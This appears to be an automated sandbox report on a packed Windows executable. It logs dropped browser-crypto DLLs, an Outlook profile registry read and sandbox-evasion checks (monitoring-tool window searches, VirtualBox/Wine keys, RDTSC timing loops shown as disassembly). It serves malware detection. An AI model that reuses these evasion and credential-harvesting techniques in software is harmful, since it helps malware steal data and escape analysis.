Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

Virustotal: Detection: 52%

Source: file.exe	String found in binary or memory: ft.com/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d
Source: file.exe	String found in binary or memory: m/en-us/office/examples-of-office-product-keys-7d48285b-20e8-4b9b-91ad-216e34163bad?wt.mc_id=enterpk2016&ui=en-us&rs=en-us&ad=us https://support.microsoft.com/en-us/topic/install-the-english-language-pack-for-32-bit-office-94ba2e0b-638e-4a92-8857-2cb5ac1d8e17?
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1815552 > 1048576

Source: file.exe

Static PE information: Raw size of uvxnsmun is bigger than: 0x100000 < 0x195200

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1924611946.000000006C7FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1924326052.000000006C63D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.a00000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uvxnsmun:EW;jdwdpmwf:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uvxnsmun:EW;jdwdpmwf:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00A19860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00A19860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1c3ce3 should be: 0x1bc8d9

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uvxnsmun
Source: file.exe	Static PE information: section name: jdwdpmwf
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E558E8 push 50F103F2h; mov dword ptr [esp], ebx	0_2_00E55907
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4F0C3 push esi; mov dword ptr [esp], eax	0_2_00E4F0E4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E658D8 push 57B73D80h; mov dword ptr [esp], ebp	0_2_00E658EF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E658D8 push eax; mov dword ptr [esp], edi	0_2_00E6592B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDC0D3 push 0AF65C7Fh; mov dword ptr [esp], edx	0_2_00EDC116
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EDC0D3 push 1EC073BBh; mov dword ptr [esp], esi	0_2_00EDC130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3C8AD push ecx; mov dword ptr [esp], edi	0_2_00E3C8F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3C8AD push 5CA5F431h; mov dword ptr [esp], eax	0_2_00E3C955
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3C8AD push esi; mov dword ptr [esp], ecx	0_2_00E3C95B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3C8AD push edi; mov dword ptr [esp], ecx	0_2_00E3C964
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3C8AD push ebx; mov dword ptr [esp], 5EDF33CEh	0_2_00E3C96B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E3C8AD push 6462265Ah; mov dword ptr [esp], ebx	0_2_00E3CA19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E9A88C push 6891DE50h; mov dword ptr [esp], edi	0_2_00E9B40D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA9068 push ecx; mov dword ptr [esp], esi	0_2_00EA908B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EA9068 push 3047F812h; mov dword ptr [esp], ebp	0_2_00EA90AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E75076 push ecx; mov dword ptr [esp], esi	0_2_00E7509B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E75076 push 0DCEA89Dh; mov dword ptr [esp], edx	0_2_00E75118
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A1B035 push ecx; ret	0_2_00A1B048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push esi; mov dword ptr [esp], edx	0_2_00DBB078
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push 13E68216h; mov dword ptr [esp], edx	0_2_00DBB1E5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push ebx; mov dword ptr [esp], 6801BF11h	0_2_00DBB1FE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push ecx; mov dword ptr [esp], eax	0_2_00DBB2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push 2015CD00h; mov dword ptr [esp], ebp	0_2_00DBB2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push 648E599Ch; mov dword ptr [esp], esp	0_2_00DBB357
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push esi; mov dword ptr [esp], ebx	0_2_00DBB360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push esi; mov dword ptr [esp], 6FF5707Ah	0_2_00DBB3FA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push 62ABAE80h; mov dword ptr [esp], ecx	0_2_00DBB4C2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push edi; mov dword ptr [esp], 632278CCh	0_2_00DBB548
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push eax; mov dword ptr [esp], esp	0_2_00DBB596
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push esi; mov dword ptr [esp], eax	0_2_00DBB5B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00DBB073 push ecx; mov dword ptr [esp], esi	0_2_00DBB648

Source: file.exe

Static PE information: section name: uvxnsmun entropy: 7.953993025733177

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown

Network traffic detected: IRC traffic on port 80 -> 49730

Source: C:\Users\user\Desktop\file.exe

0_2_00A19860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58432

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2485 second address: DD249D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3A607FD8BEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F3A607FD8B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2711 second address: DD2715 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2715 second address: DD271B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD271B second address: DD2725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD2725 second address: DD272B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4268 second address: DD426D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD426D second address: DD42D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3A607FD8B6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007F3A607FD8B8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Dh 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 add dword ptr [ebp+122D269Bh], ebx 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F3A607FD8B8h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 00000019h 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a push 24D686B1h 0x0000004f pushad 0x00000050 pushad 0x00000051 pushad 0x00000052 popad 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD42D4 second address: DD42DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD42DD second address: DD43A3 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3A607FD8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 24D68631h 0x00000012 mov dword ptr [ebp+122D1B71h], ecx 0x00000018 push 00000003h 0x0000001a cmc 0x0000001b push 00000000h 0x0000001d xor dword ptr [ebp+122D3047h], ebx 0x00000023 push 00000003h 0x00000025 push 00000000h 0x00000027 push eax 0x00000028 call 00007F3A607FD8B8h 0x0000002d pop eax 0x0000002e mov dword ptr [esp+04h], eax 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc eax 0x0000003b push eax 0x0000003c ret 0x0000003d pop eax 0x0000003e ret 0x0000003f mov esi, eax 0x00000041 push 8BE06181h 0x00000046 jc 00007F3A607FD8D1h 0x0000004c jng 00007F3A607FD8CBh 0x00000052 jmp 00007F3A607FD8C5h 0x00000057 xor dword ptr [esp], 4BE06181h 0x0000005e push edi 0x0000005f mov ecx, 51628000h 0x00000064 pop esi 0x00000065 lea ebx, dword ptr [ebp+12446152h] 0x0000006b push 00000000h 0x0000006d push edi 0x0000006e call 00007F3A607FD8B8h 0x00000073 pop edi 0x00000074 mov dword ptr [esp+04h], edi 0x00000078 add dword ptr [esp+04h], 0000001Dh 0x00000080 inc edi 0x00000081 push edi 0x00000082 ret 0x00000083 pop edi 0x00000084 ret 0x00000085 mov edx, dword ptr [ebp+122D3844h] 0x0000008b push eax 0x0000008c push eax 0x0000008d push edx 0x0000008e jmp 00007F3A607FD8C8h 0x00000093 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4426 second address: DD4440 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F3A6094B67Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4440 second address: DD4445 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD452E second address: DD4533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4533 second address: DD45C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A607FD8BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 30A975D7h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F3A607FD8B8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a jmp 00007F3A607FD8C2h 0x0000002f lea ebx, dword ptr [ebp+1244615Bh] 0x00000035 push 00000000h 0x00000037 push esi 0x00000038 call 00007F3A607FD8B8h 0x0000003d pop esi 0x0000003e mov dword ptr [esp+04h], esi 0x00000042 add dword ptr [esp+04h], 0000001Bh 0x0000004a inc esi 0x0000004b push esi 0x0000004c ret 0x0000004d pop esi 0x0000004e ret 0x0000004f stc 0x00000050 xchg eax, ebx 0x00000051 jc 00007F3A607FD8BEh 0x00000057 push eax 0x00000058 pushad 0x00000059 jmp 00007F3A607FD8BDh 0x0000005e push ecx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD468B second address: DD468F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD468F second address: DD4693 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DD4693 second address: DD4715 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 xor dword ptr [esp], 2DDCAA89h 0x0000000e push 00000000h 0x00000010 push ebp 0x00000011 call 00007F3A6094B678h 0x00000016 pop ebp 0x00000017 mov dword ptr [esp+04h], ebp 0x0000001b add dword ptr [esp+04h], 00000019h 0x00000023 inc ebp 0x00000024 push ebp 0x00000025 ret 0x00000026 pop ebp 0x00000027 ret 0x00000028 push 00000003h 0x0000002a mov dword ptr [ebp+122D18C1h], ebx 0x00000030 push 00000000h 0x00000032 jmp 00007F3A6094B685h 0x00000037 push 00000003h 0x00000039 jp 00007F3A6094B676h 0x0000003f call 00007F3A6094B679h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 jne 00007F3A6094B676h 0x0000004d jmp 00007F3A6094B689h 0x00000052 popad 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3A23 second address: DF3A2D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3A607FD8B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF3B55 second address: DF3B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F3A6094B676h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4434 second address: DF443A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF443A second address: DF4447 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 ja 00007F3A6094B676h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4447 second address: DF446C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push esi 0x00000008 jmp 00007F3A607FD8C2h 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push esi 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF45F0 second address: DF45FA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3A6094B676h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4BBF second address: DF4BDC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3A607FD8B8h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jg 00007F3A607FD8BCh 0x00000017 jnc 00007F3A607FD8B6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4BDC second address: DF4BE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4BE2 second address: DF4BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4BE8 second address: DF4BEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D2C second address: DF4D32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D32 second address: DF4D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF4D36 second address: DF4D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F3A607FD8C4h 0x00000010 pop eax 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 push edi 0x00000016 pop edi 0x00000017 js 00007F3A607FD8B6h 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF5468 second address: DF547D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 jne 00007F3A6094B691h 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8E70 second address: DF8E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8E76 second address: DF8E7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8F98 second address: DF8F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01A84 second address: E01AA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3A6094B687h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01AA8 second address: E01AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
